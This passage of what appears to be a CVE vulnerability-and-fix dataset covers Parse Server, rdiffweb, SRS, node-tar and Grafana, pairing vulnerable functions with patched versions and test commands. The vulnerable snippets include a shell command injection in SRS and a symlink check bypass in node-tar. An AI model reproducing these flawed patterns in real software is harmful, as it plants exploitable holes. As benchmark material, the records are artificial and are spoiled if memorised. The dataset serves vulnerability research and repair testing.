currentParseObject.sessionToken;\n+                  delete originalParseObject?.sessionToken;\n+                  delete currentParseObject.authData;\n+                  delete originalParseObject?.authData;\n+                }\n                 const functionName =\n                   'push' + message.event.charAt(0).toUpperCase() + message.event.slice(1);\n                 if (client[functionName]) {\n\n--- /dev/null\n+++ b/src/LiveQuery/ParseLiveQueryServer.js\n@@ -0,0 +1,45 @@\n+  it('should strip out session token in LiveQuery', async () => {\n+    await reconfigureServer({\n+      liveQuery: { classNames: ['_User'] },\n+      startLiveQueryServer: true,\n+      verbose: false,\n+      silent: true,\n+    });\n+\n+    const user = new Parse.User();\n+    user.setUsername('username');\n+    user.setPassword('password');\n+    user.set('foo', 'bar');\n+\n+    const query = new Parse.Query(Parse.User);\n+    query.equalTo('foo', 'bar');\n+    const subscription = await query.subscribe();\n+\n+    const events = ['create', 'update', 'enter', 'leave', 'delete'];\n+    const response = (obj, prev) => {\n+      expect(obj.get('sessionToken')).toBeUndefined();\n+      expect(obj.sessionToken).toBeUndefined();\n+      expect(prev?.sessionToken).toBeUndefined();\n+      if (prev && prev.get) {\n+        expect(prev.get('sessionToken')).toBeUndefined();\n+      }\n+    };\n+    const calls = {};\n+    for (const key of events) {\n+      calls[key] = response;\n+      spyOn(calls, key).and.callThrough();\n+      subscription.on(key, calls[key]);\n+    }\n+    await user.signUp();\n+    user.unset('foo');\n+    await user.save();\n+    user.set('foo', 'bar');\n+    await user.save();\n+    user.set('yolo', 'bar');\n+    await user.save();\n+    await user.destroy();\n+    await new Promise(resolve => process.nextTick(resolve));\n+    for (const key of events) {\n+      expect(calls[key]).toHaveBeenCalled();\n+    }\n+  });\n\n--- /dev/null\n+++ b/src/LiveQuery/ParseLiveQueryServer.js\n@@ -0,0 +1,44 @@\n+  it('should strip out authdata in LiveQuery', async () => {\n+    const provider = getMockFacebookProvider();\n+    Parse.User._registerAuthenticationProvider(provider);\n+\n+    await reconfigureServer({\n+      liveQuery: { classNames: ['_User'] },\n+      startLiveQueryServer: true,\n+      verbose: false,\n+      silent: true,\n+    });\n+\n+    const query = new Parse.Query(Parse.User);\n+    query.doesNotExist('foo');\n+    const subscription = await query.subscribe();\n+\n+    const events = ['create', 'update', 'enter', 'leave', 'delete'];\n+    const response = (obj, prev) => {\n+      expect(obj.get('authData')).toBeUndefined();\n+      expect(obj.authData).toBeUndefined();\n+      expect(prev?.authData).toBeUndefined();\n+      if (prev && prev.get) {\n+        expect(prev.get('authData')).toBeUndefined();\n+      }\n+    };\n+    const calls = {};\n+    for (const key of events) {\n+      calls[key] = response;\n+      spyOn(calls, key).and.callThrough();\n+      subscription.on(key, calls[key]);\n+    }\n+    const user = await Parse.User._logInWith('facebook');\n+\n+    user.set('foo', 'bar');\n+    await user.save();\n+    user.unset('foo');\n+    await user.save();\n+    user.set('yolo', 'bar');\n+    await user.save();\n+    await user.destroy();\n+    await new Promise(resolve => process.nextTick(resolve));\n+    for (const key of events) {\n+      expect(calls[key]).toHaveBeenCalled();\n+    }\n+  });\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-4314", "cve_description": "Improper Privilege Management in GitHub repository ikus060/rdiffweb prior to 2.5.2.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/b2df3679564d0daa2856213bb307d3e34bd89a25"], "programing_language": "Python", "vul_func": [{"id": "vul_py_334_1", "commit": "979ab34", "file_path": "rdiffweb/core/librdiff.py", "start_line": 848, "end_line": 872, "snippet": "    def __init__(self, user_root, path, encoding):\n        if isinstance(user_root, str):\n            user_root = os.fsencode(user_root)\n        if isinstance(path, str):\n            path = os.fsencode(path)\n        assert isinstance(user_root, bytes)\n        assert isinstance(path, bytes)\n        assert encoding\n        self._encoding = encodings.search_function(encoding)\n        assert self._encoding\n        self.path = path.strip(b\"/\")\n        if self.path:\n            self.full_path = os.path.normpath(os.path.join(user_root, self.path))\n        else:\n            self.full_path = os.path.normpath(user_root)\n\n        # The location of rdiff-backup-data directory.\n        self._data_path = os.path.join(self.full_path, RDIFF_BACKUP_DATA)\n        assert isinstance(self._data_path, bytes)\n        self._increment_path = os.path.join(self._data_path, INCREMENTS)\n        self.current_mirror = MetadataDict(self, CurrentMirrorEntry)\n        self.error_log = MetadataDict(self, LogEntry)\n        self.mirror_metadata = MetadataDict(self, MirrorMetadataEntry)\n        self.file_statistics = MetadataDict(self, FileStatisticsEntry)\n        self.session_statistics = MetadataDict(self, SessionStatisticsEntry)"}, {"id": "vul_py_334_2", "commit": "979ab34", "file_path": "rdiffweb/core/librdiff.py", "start_line": 1083, "end_line": 1096, "snippet": "    def get_display_name(self, path):\n        \"\"\"\n        Return proper display name of the given path according to repository encoding and quoted characters.\n        \"\"\"\n        assert isinstance(path, bytes)\n        path = path.strip(b'/')\n        if path in [b'.', b'']:\n            # For repository we use either path if defined or the directory base name\n            if not self.path:\n                return self._decode(unquote(os.path.basename(self.full_path)))\n            return self._decode(unquote(self.path))\n        else:\n            # For path, we use the dir name\n            return self._decode(unquote(os.path.basename(path)))"}, {"id": "vul_py_334_3", "commit": "979ab34", "file_path": "rdiffweb/core/model/_repo.py", "start_line": 135, "end_line": 143, "snippet": "    def __init_on_load__(self):\n        RdiffRepo.__init__(\n            self, self.user.user_root, self.repopath, encoding=self.encoding or RepoObject.DEFAULT_REPO_ENCODING\n        )\n\n    @property\n    def displayname(self):\n        # Repository displayName is the \"repopath\" too.\n        return self.repopath.strip('/')"}, {"id": "vul_py_334_4", "commit": "979ab34", "file_path": "rdiffweb/core/rdw_templating.py", "start_line": 159, "end_line": 191, "snippet": "def url_for(*args, **kwargs):\n    \"\"\"\n    Generate a url for the given endpoint, path (*args) with parameters (**kwargs)\n\n    This could be used to generate a path with userobject and repo object\n\n    \"\"\"\n    path = \"\"\n    for chunk in args:\n        if not chunk:\n            continue\n        if hasattr(chunk, 'owner') and hasattr(chunk, 'path'):\n            # This is a RepoObject\n            path += \"/\"\n            path += chunk.owner\n            path += \"/\"\n            path += rdw_helpers.quote_url(chunk.path.strip(b\"/\"))\n        elif hasattr(chunk, 'path'):\n            # This is a DirEntry\n            if chunk.path:\n                path += \"/\"\n                path += rdw_helpers.quote_url(chunk.path.strip(b\"/\"))\n        elif chunk and isinstance(chunk, bytes):\n            path += \"/\"\n            path += rdw_helpers.quote_url(chunk.strip(b\"/\"))\n        elif chunk and isinstance(chunk, str):\n            path += \"/\"\n            path += chunk.strip(\"/\")\n        else:\n            raise ValueError('invalid positional arguments, url_for accept str, bytes or RepoPath: %r' % chunk)\n    # Sort the arguments to have predictable results.\n    qs = [(k, v.epoch() if hasattr(v, 'epoch') else v) for k, v in sorted(kwargs.items()) if v is not None]\n    return cherrypy.url(path=path, qs=qs)"}], "fix_func": [{"id": "fix_py_334_1", "commit": "b2df3679564d0daa2856213bb307d3e34bd89a25", "file_path": "rdiffweb/core/librdiff.py", "start_line": 848, "end_line": 867, "snippet": "    def __init__(self, full_path, encoding):\n        assert encoding, 'encoding is required'\n        self._encoding = encodings.search_function(encoding)\n        assert self._encoding, 'encoding must be a valid charset'\n\n        # Validate and sanitize the full_path\n        assert full_path, 'full path is required'\n        self.full_path = os.fsencode(full_path) if isinstance(full_path, str) else full_path\n        assert os.path.isabs(self.full_path), 'full_path must be absolute path'\n        self.full_path = os.path.normpath(self.full_path)\n\n        # The location of rdiff-backup-data directory.\n        self._data_path = os.path.join(self.full_path, RDIFF_BACKUP_DATA)\n        assert isinstance(self._data_path, bytes)\n        self._increment_path = os.path.join(self._data_path, INCREMENTS)\n        self.current_mirror = MetadataDict(self, CurrentMirrorEntry)\n        self.error_log = MetadataDict(self, LogEntry)\n        self.mirror_metadata = MetadataDict(self, MirrorMetadataEntry)\n        self.file_statistics = MetadataDict(self, FileStatisticsEntry)\n        self.session_statistics = MetadataDict(self, SessionStatisticsEntry)"}, {"id": "fix_py_334_2", "commit": "b2df3679564d0daa2856213bb307d3e34bd89a25", "file_path": "rdiffweb/core/librdiff.py", "start_line": 1078, "end_line": 1089, "snippet": "    def get_display_name(self, path):\n        \"\"\"\n        Return proper display name of the given path according to repository encoding and quoted characters.\n        \"\"\"\n        assert isinstance(path, bytes)\n        path = path.strip(b'/')\n        if path in [b'.', b'']:\n            # For repository the directory base name\n            return self._decode(unquote(os.path.basename(self.full_path)))\n        else:\n            # For path, we use the dir name\n            return self._decode(unquote(os.path.basename(path)))"}, {"id": "fix_py_334_3", "commit": "b2df3679564d0daa2856213bb307d3e34bd89a25", "file_path": "rdiffweb/core/model/_repo.py", "start_line": 135, "end_line": 143, "snippet": "    def __init_on_load__(self):\n        # RdiffRepo required an absolute full path, When the user_root is invalid, let generate an invalid full path.\n        if not self.user.user_root:\n            full_path = os.path.join('/user_has_an_empty_user_root/', self.repopath.strip('/'))\n        elif not os.path.isabs(self.user.user_root):\n            full_path = os.path.join('/user_has_a_relative_user_root/', self.repopath.strip('/'))\n        else:\n            full_path = os.path.join(self.user.user_root, self.repopath.strip('/'))\n        RdiffRepo.__init__(self, full_path, encoding=self.encoding or RepoObject.DEFAULT_REPO_ENCODING)"}, {"id": "fix_py_334_4", "commit": "b2df3679564d0daa2856213bb307d3e34bd89a25", "file_path": "rdiffweb/core/rdw_templating.py", "start_line": 159, "end_line": 191, "snippet": "def url_for(*args, **kwargs):\n    \"\"\"\n    Generate a url for the given endpoint, path (*args) with parameters (**kwargs)\n\n    This could be used to generate a path with userobject and repo object\n\n    \"\"\"\n    path = \"\"\n    for chunk in args:\n        if not chunk:\n            continue\n        if hasattr(chunk, 'owner') and hasattr(chunk, 'repopath'):\n            # This is a RepoObject\n            path += \"/\"\n            path += chunk.owner\n            path += \"/\"\n            path += rdw_helpers.quote_url(chunk.repopath.strip(\"/\"))\n        elif hasattr(chunk, 'path'):\n            # This is a DirEntry\n            if chunk.path:\n                path += \"/\"\n                path += rdw_helpers.quote_url(chunk.path.strip(b\"/\"))\n        elif chunk and isinstance(chunk, bytes):\n            path += \"/\"\n            path += rdw_helpers.quote_url(chunk.strip(b\"/\"))\n        elif chunk and isinstance(chunk, str):\n            path += \"/\"\n            path += chunk.strip(\"/\")\n        else:\n            raise ValueError('invalid positional arguments, url_for accept str, bytes or RepoPath: %r' % chunk)\n    # Sort the arguments to have predictable results.\n    qs = [(k, v.epoch() if hasattr(v, 'epoch') else v) for k, v in sorted(kwargs.items()) if v is not None]\n    return cherrypy.url(path=path, qs=qs)"}], "vul_patch": "--- a/rdiffweb/core/librdiff.py\n+++ b/rdiffweb/core/librdiff.py\n@@ -1,18 +1,13 @@\n-    def __init__(self, user_root, path, encoding):\n-        if isinstance(user_root, str):\n-            user_root = os.fsencode(user_root)\n-        if isinstance(path, str):\n-            path = os.fsencode(path)\n-        assert isinstance(user_root, bytes)\n-        assert isinstance(path, bytes)\n-        assert encoding\n+    def __init__(self, full_path, encoding):\n+        assert encoding, 'encoding is required'\n         self._encoding = encodings.search_function(encoding)\n-        assert self._encoding\n-        self.path = path.strip(b\"/\")\n-        if self.path:\n-            self.full_path = os.path.normpath(os.path.join(user_root, self.path))\n-        else:\n-            self.full_path = os.path.normpath(user_root)\n+        assert self._encoding, 'encoding must be a valid charset'\n+\n+        # Validate and sanitize the full_path\n+        assert full_path, 'full path is required'\n+        self.full_path = os.fsencode(full_path) if isinstance(full_path, str) else full_path\n+        assert os.path.isabs(self.full_path), 'full_path must be absolute path'\n+        self.full_path = os.path.normpath(self.full_path)\n \n         # The location of rdiff-backup-data directory.\n         self._data_path = os.path.join(self.full_path, RDIFF_BACKUP_DATA)\n\n--- a/rdiffweb/core/librdiff.py\n+++ b/rdiffweb/core/librdiff.py\n@@ -5,10 +5,8 @@\n         assert isinstance(path, bytes)\n         path = path.strip(b'/')\n         if path in [b'.', b'']:\n-            # For repository we use either path if defined or the directory base name\n-            if not self.path:\n-                return self._decode(unquote(os.path.basename(self.full_path)))\n-            return self._decode(unquote(self.path))\n+            # For repository the directory base name\n+            return self._decode(unquote(os.path.basename(self.full_path)))\n         else:\n             # For path, we use the dir name\n             return self._decode(unquote(os.path.basename(path)))\n\n--- a/rdiffweb/core/model/_repo.py\n+++ b/rdiffweb/core/model/_repo.py\n@@ -1,9 +1,9 @@\n     def __init_on_load__(self):\n-        RdiffRepo.__init__(\n-            self, self.user.user_root, self.repopath, encoding=self.encoding or RepoObject.DEFAULT_REPO_ENCODING\n-        )\n-\n-    @property\n-    def displayname(self):\n-        # Repository displayName is the \"repopath\" too.\n-        return self.repopath.strip('/')\n+        # RdiffRepo required an absolute full path, When the user_root is invalid, let generate an invalid full path.\n+        if not self.user.user_root:\n+            full_path = os.path.join('/user_has_an_empty_user_root/', self.repopath.strip('/'))\n+        elif not os.path.isabs(self.user.user_root):\n+            full_path = os.path.join('/user_has_a_relative_user_root/', self.repopath.strip('/'))\n+        else:\n+            full_path = os.path.join(self.user.user_root, self.repopath.strip('/'))\n+        RdiffRepo.__init__(self, full_path, encoding=self.encoding or RepoObject.DEFAULT_REPO_ENCODING)\n\n--- a/rdiffweb/core/rdw_templating.py\n+++ b/rdiffweb/core/rdw_templating.py\n@@ -9,12 +9,12 @@\n     for chunk in args:\n         if not chunk:\n             continue\n-        if hasattr(chunk, 'owner') and hasattr(chunk, 'path'):\n+        if hasattr(chunk, 'owner') and hasattr(chunk, 'repopath'):\n             # This is a RepoObject\n             path += \"/\"\n             path += chunk.owner\n             path += \"/\"\n-            path += rdw_helpers.quote_url(chunk.path.strip(b\"/\"))\n+            path += rdw_helpers.quote_url(chunk.repopath.strip(\"/\"))\n         elif hasattr(chunk, 'path'):\n             # This is a DirEntry\n             if chunk.path:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-34105", "cve_description": "SRS is a real-time video server supporting RTMP, WebRTC, HLS, HTTP-FLV, SRT, MPEG-DASH, and GB28181. Prior to versions 5.0.157, 5.0-b1, and 6.0.48, SRS's `api-server` server is vulnerable to a drive-by command injection. An attacker may send a request to the `/api/v1/snapshots` endpoint containing any commands to be executed as part of the body of the POST request. This issue may lead to Remote Code Execution (RCE). Versions 5.0.157, 5.0-b1, and 6.0.48 contain a fix.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/ossrs/srs", "patch_url": ["https://github.com/ossrs/srs/commit/1d878c2daaf913ad01c6d0bc2f247116c8050338"], "programing_language": "Go", "vul_func": [{"id": "vul_go_261_1", "commit": "df854339ea19847e80f442e11f7506d1b7883152", "file_path": "trunk/research/api-server/server.go", "start_line": 393, "end_line": 430, "snippet": "func (v *SnapshotJob) do(ffmpegPath, inputUrl string) (err error) {\n\toutputPicDir := path.Join(StaticDir, v.App)\n\tif err = os.MkdirAll(outputPicDir, 0777); err != nil {\n\t\tlog.Println(fmt.Sprintf(\"create snapshot image dir:%v failed, err is %v\", outputPicDir, err))\n\t\treturn\n\t}\n\n\tnormalPicPath := path.Join(outputPicDir, fmt.Sprintf(\"%v\", v.Stream)+\"-%03d.png\")\n\tbestPng := path.Join(outputPicDir, fmt.Sprintf(\"%v-best.png\", v.Stream))\n\n\tparam := fmt.Sprintf(\"%v -i %v -vf fps=1 -vcodec png -f image2 -an -y -vframes %v -y %v\", ffmpegPath, inputUrl, v.vframes, normalPicPath)\n\tlog.Println(fmt.Sprintf(\"start snapshot, cmd param=%v\", param))\n\ttimeoutCtx, _ := context.WithTimeout(v.cancelCtx, v.timeout)\n\tcmd := exec.CommandContext(timeoutCtx, \"/bin/bash\", \"-c\", param)\n\tif err = cmd.Run(); err != nil {\n\t\tlog.Println(fmt.Sprintf(\"run snapshot %v cmd failed, err is %v\", v.Tag(), err))\n\t\treturn\n\t}\n\n\tbestFileSize := int64(0)\n\tfor i := 1; i <= v.vframes; i++ {\n\t\tpic := path.Join(outputPicDir, fmt.Sprintf(\"%v-%03d.png\", v.Stream, i))\n\t\tfi, err := os.Stat(pic)\n\t\tif err != nil {\n\t\t\tlog.Println(fmt.Sprintf(\"stat pic:%v failed, err is %v\", pic, err))\n\t\t\tcontinue\n\t\t}\n\t\tif bestFileSize == 0 {\n\t\t\tbestFileSize = fi.Size()\n\t\t} else if fi.Size() > bestFileSize {\n\t\t\tos.Remove(bestPng)\n\t\t\tos.Symlink(pic, bestPng)\n\t\t\tbestFileSize = fi.Size()\n\t\t}\n\t}\n\tlog.Println(fmt.Sprintf(\"%v the best thumbnail is %v\", v.Tag(), bestPng))\n\treturn\n}"}], "fix_func": [{"id": "fix_go_261_1", "commit": "1d878c2daaf913ad01c6d0bc2f247116c8050338", "file_path": "trunk/research/api-server/server.go", "start_line": 393, "end_line": 438, "snippet": "func (v *SnapshotJob) do(ffmpegPath, inputUrl string) (err error) {\n\toutputPicDir := path.Join(StaticDir, v.App)\n\tif err = os.MkdirAll(outputPicDir, 0777); err != nil {\n\t\tlog.Println(fmt.Sprintf(\"create snapshot image dir:%v failed, err is %v\", outputPicDir, err))\n\t\treturn\n\t}\n\n\tnormalPicPath := path.Join(outputPicDir, fmt.Sprintf(\"%v\", v.Stream)+\"-%03d.png\")\n\tbestPng := path.Join(outputPicDir, fmt.Sprintf(\"%v-best.png\", v.Stream))\n\n\tparams := []string{\n\t\t\"-i\", inputUrl,\n\t\t\"-vf\", \"fps=1\",\n\t\t\"-vcodec\", \"png\",\n\t\t\"-f\", \"image2\",\n\t\t\"-an\",\n\t\t\"-vframes\", strconv.Itoa(v.vframes),\n\t\t\"-y\", normalPicPath,\n\t}\n\tlog.Println(fmt.Sprintf(\"start snapshot, cmd param=%v %v\", ffmpegPath, strings.Join(params, \" \")))\n\ttimeoutCtx, _ := context.WithTimeout(v.cancelCtx, v.timeout)\n\tcmd := exec.CommandContext(timeoutCtx, ffmpegPath, params...)\n\tif err = cmd.Run(); err != nil {\n\t\tlog.Println(fmt.Sprintf(\"run snapshot %v cmd failed, err is %v\", v.Tag(), err))\n\t\treturn\n\t}\n\n\tbestFileSize := int64(0)\n\tfor i := 1; i <= v.vframes; i++ {\n\t\tpic := path.Join(outputPicDir, fmt.Sprintf(\"%v-%03d.png\", v.Stream, i))\n\t\tfi, err := os.Stat(pic)\n\t\tif err != nil {\n\t\t\tlog.Println(fmt.Sprintf(\"stat pic:%v failed, err is %v\", pic, err))\n\t\t\tcontinue\n\t\t}\n\t\tif bestFileSize == 0 {\n\t\t\tbestFileSize = fi.Size()\n\t\t} else if fi.Size() > bestFileSize {\n\t\t\tos.Remove(bestPng)\n\t\t\tos.Symlink(pic, bestPng)\n\t\t\tbestFileSize = fi.Size()\n\t\t}\n\t}\n\tlog.Println(fmt.Sprintf(\"%v the best thumbnail is %v\", v.Tag(), bestPng))\n\treturn\n}"}], "vul_patch": "--- a/trunk/research/api-server/server.go\n+++ b/trunk/research/api-server/server.go\n@@ -8,10 +8,18 @@\n \tnormalPicPath := path.Join(outputPicDir, fmt.Sprintf(\"%v\", v.Stream)+\"-%03d.png\")\n \tbestPng := path.Join(outputPicDir, fmt.Sprintf(\"%v-best.png\", v.Stream))\n \n-\tparam := fmt.Sprintf(\"%v -i %v -vf fps=1 -vcodec png -f image2 -an -y -vframes %v -y %v\", ffmpegPath, inputUrl, v.vframes, normalPicPath)\n-\tlog.Println(fmt.Sprintf(\"start snapshot, cmd param=%v\", param))\n+\tparams := []string{\n+\t\t\"-i\", inputUrl,\n+\t\t\"-vf\", \"fps=1\",\n+\t\t\"-vcodec\", \"png\",\n+\t\t\"-f\", \"image2\",\n+\t\t\"-an\",\n+\t\t\"-vframes\", strconv.Itoa(v.vframes),\n+\t\t\"-y\", normalPicPath,\n+\t}\n+\tlog.Println(fmt.Sprintf(\"start snapshot, cmd param=%v %v\", ffmpegPath, strings.Join(params, \" \")))\n \ttimeoutCtx, _ := context.WithTimeout(v.cancelCtx, v.timeout)\n-\tcmd := exec.CommandContext(timeoutCtx, \"/bin/bash\", \"-c\", param)\n+\tcmd := exec.CommandContext(timeoutCtx, ffmpegPath, params...)\n \tif err = cmd.Run(); err != nil {\n \t\tlog.Println(fmt.Sprintf(\"run snapshot %v cmd failed, err is %v\", v.Tag(), err))\n \t\treturn\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32803", "cve_description": "The npm package \"tar\" (aka node-tar) before versions 6.1.2, 5.0.7, 4.4.15, and 3.2.3 has an arbitrary File Creation/Overwrite vulnerability via insufficient symlink protection. `node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/npm/node-tar", "patch_url": ["https://github.com/npm/node-tar/commit/9dbdeb6df8e9dbd96fa9e84341b9d74734be6c20"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_47_1", "commit": "df3aa4d", "file_path": "lib/unpack.js", "start_line": 415, "end_line": 437, "snippet": "  [CHECKFS] (entry) {\n    this[PEND]()\n    this[MKDIR](path.dirname(entry.absolute), this.dmode, er => {\n      if (er)\n        return this[ONERROR](er, entry)\n      fs.lstat(entry.absolute, (er, st) => {\n        if (st && (this.keep || this.newer && st.mtime > entry.mtime))\n          this[SKIP](entry)\n        else if (er || this[ISREUSABLE](entry, st))\n          this[MAKEFS](null, entry)\n        else if (st.isDirectory()) {\n          if (entry.type === 'Directory') {\n            if (!entry.mode || (st.mode & 0o7777) === entry.mode)\n              this[MAKEFS](null, entry)\n            else\n              fs.chmod(entry.absolute, entry.mode, er => this[MAKEFS](er, entry))\n          } else\n            fs.rmdir(entry.absolute, er => this[MAKEFS](er, entry))\n        } else\n          unlinkFile(entry.absolute, er => this[MAKEFS](er, entry))\n      })\n    })\n  }"}, {"id": "vul_js_47_2", "commit": "df3aa4d", "file_path": "lib/unpack.js", "start_line": 477, "end_line": 505, "snippet": "  [CHECKFS] (entry) {\n    const er = this[MKDIR](path.dirname(entry.absolute), this.dmode)\n    if (er)\n      return this[ONERROR](er, entry)\n    try {\n      const st = fs.lstatSync(entry.absolute)\n      if (this.keep || this.newer && st.mtime > entry.mtime)\n        return this[SKIP](entry)\n      else if (this[ISREUSABLE](entry, st))\n        return this[MAKEFS](null, entry)\n      else {\n        try {\n          if (st.isDirectory()) {\n            if (entry.type === 'Directory') {\n              if (entry.mode && (st.mode & 0o7777) !== entry.mode)\n                fs.chmodSync(entry.absolute, entry.mode)\n            } else\n              fs.rmdirSync(entry.absolute)\n          } else\n            unlinkFileSync(entry.absolute)\n          return this[MAKEFS](null, entry)\n        } catch (er) {\n          return this[ONERROR](er, entry)\n        }\n      }\n    } catch (er) {\n      return this[MAKEFS](null, entry)\n    }\n  }"}], "fix_func": [{"id": "fix_js_47_1", "commit": "46fe350", "file_path": "lib/unpack.js", "start_line": 415, "end_line": 451, "snippet": "  [CHECKFS] (entry) {\n    this[PEND]()\n\n    // if we are not creating a directory, and the path is in the dirCache,\n    // then that means we are about to delete the directory we created\n    // previously, and it is no longer going to be a directory, and neither\n    // is any of its children.\n    if (entry.type !== 'Directory') {\n      for (const path of this.dirCache.keys()) {\n        if (path === entry.absolute ||\n            path.indexOf(entry.absolute + '/') === 0 ||\n            path.indexOf(entry.absolute + '\\\\') === 0)\n          this.dirCache.delete(path)\n      }\n    }\n\n    this[MKDIR](path.dirname(entry.absolute), this.dmode, er => {\n      if (er)\n        return this[ONERROR](er, entry)\n      fs.lstat(entry.absolute, (er, st) => {\n        if (st && (this.keep || this.newer && st.mtime > entry.mtime))\n          this[SKIP](entry)\n        else if (er || this[ISREUSABLE](entry, st))\n          this[MAKEFS](null, entry)\n        else if (st.isDirectory()) {\n          if (entry.type === 'Directory') {\n            if (!entry.mode || (st.mode & 0o7777) === entry.mode)\n              this[MAKEFS](null, entry)\n            else\n              fs.chmod(entry.absolute, entry.mode, er => this[MAKEFS](er, entry))\n          } else\n            fs.rmdir(entry.absolute, er => this[MAKEFS](er, entry))\n        } else\n          unlinkFile(entry.absolute, er => this[MAKEFS](er, entry))\n      })\n    })\n  }"}, {"id": "fix_js_47_2", "commit": "46fe350", "file_path": "lib/unpack.js", "start_line": 491, "end_line": 528, "snippet": "  [CHECKFS] (entry) {\n    if (entry.type !== 'Directory') {\n      for (const path of this.dirCache.keys()) {\n        if (path === entry.absolute ||\n            path.indexOf(entry.absolute + '/') === 0 ||\n            path.indexOf(entry.absolute + '\\\\') === 0)\n          this.dirCache.delete(path)\n      }\n    }\n\n    const er = this[MKDIR](path.dirname(entry.absolute), this.dmode)\n    if (er)\n      return this[ONERROR](er, entry)\n    try {\n      const st = fs.lstatSync(entry.absolute)\n      if (this.keep || this.newer && st.mtime > entry.mtime)\n        return this[SKIP](entry)\n      else if (this[ISREUSABLE](entry, st))\n        return this[MAKEFS](null, entry)\n      else {\n        try {\n          if (st.isDirectory()) {\n            if (entry.type === 'Directory') {\n              if (entry.mode && (st.mode & 0o7777) !== entry.mode)\n                fs.chmodSync(entry.absolute, entry.mode)\n            } else\n              fs.rmdirSync(entry.absolute)\n          } else\n            unlinkFileSync(entry.absolute)\n          return this[MAKEFS](null, entry)\n        } catch (er) {\n          return this[ONERROR](er, entry)\n        }\n      }\n    } catch (er) {\n      return this[MAKEFS](null, entry)\n    }\n  }"}], "vul_patch": "--- a/lib/unpack.js\n+++ b/lib/unpack.js\n@@ -1,5 +1,19 @@\n   [CHECKFS] (entry) {\n     this[PEND]()\n+\n+    // if we are not creating a directory, and the path is in the dirCache,\n+    // then that means we are about to delete the directory we created\n+    // previously, and it is no longer going to be a directory, and neither\n+    // is any of its children.\n+    if (entry.type !== 'Directory') {\n+      for (const path of this.dirCache.keys()) {\n+        if (path === entry.absolute ||\n+            path.indexOf(entry.absolute + '/') === 0 ||\n+            path.indexOf(entry.absolute + '\\\\') === 0)\n+          this.dirCache.delete(path)\n+      }\n+    }\n+\n     this[MKDIR](path.dirname(entry.absolute), this.dmode, er => {\n       if (er)\n         return this[ONERROR](er, entry)\n\n--- a/lib/unpack.js\n+++ b/lib/unpack.js\n@@ -1,4 +1,13 @@\n   [CHECKFS] (entry) {\n+    if (entry.type !== 'Directory') {\n+      for (const path of this.dirCache.keys()) {\n+        if (path === entry.absolute ||\n+            path.indexOf(entry.absolute + '/') === 0 ||\n+            path.indexOf(entry.absolute + '\\\\') === 0)\n+          this.dirCache.delete(path)\n+      }\n+    }\n+\n     const er = this[MKDIR](path.dirname(entry.absolute), this.dmode)\n     if (er)\n       return this[ONERROR](er, entry)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32803:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode ./test/unpack.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32803:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/fix.patch\nnode ./test/unpack.js\n"}
{"cve_id": "CVE-2021-39226", "cve_description": "Grafana is an open source data visualization platform. In affected versions unauthenticated and authenticated users are able to view the snapshot with the lowest database key by accessing the literal paths: /dashboard/snapshot/:key, or /api/snapshots/:key. If the snapshot \"public_mode\" configuration setting is set to true (vs default of false), unauthenticated users are able to delete the snapshot with the lowest database key by accessing the literal path: /api/snapshots-delete/:deleteKey. Regardless of the snapshot \"public_mode\" setting, authenticated users are able to delete the snapshot with the lowest database key by accessing the literal paths: /api/snapshots/:key, or /api/snapshots-delete/:deleteKey. The combination of deletion and viewing enables a complete walk through all snapshot data while resulting in complete snapshot data loss. This issue has been resolved in versions 8.1.6 and 7.5.11. If for some reason you cannot upgrade you can use a reverse proxy or similar to block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269"], "programing_language": "Go", "vul_func": [{"id": "vul_go_138_1", "commit": "c725a42", "file_path": 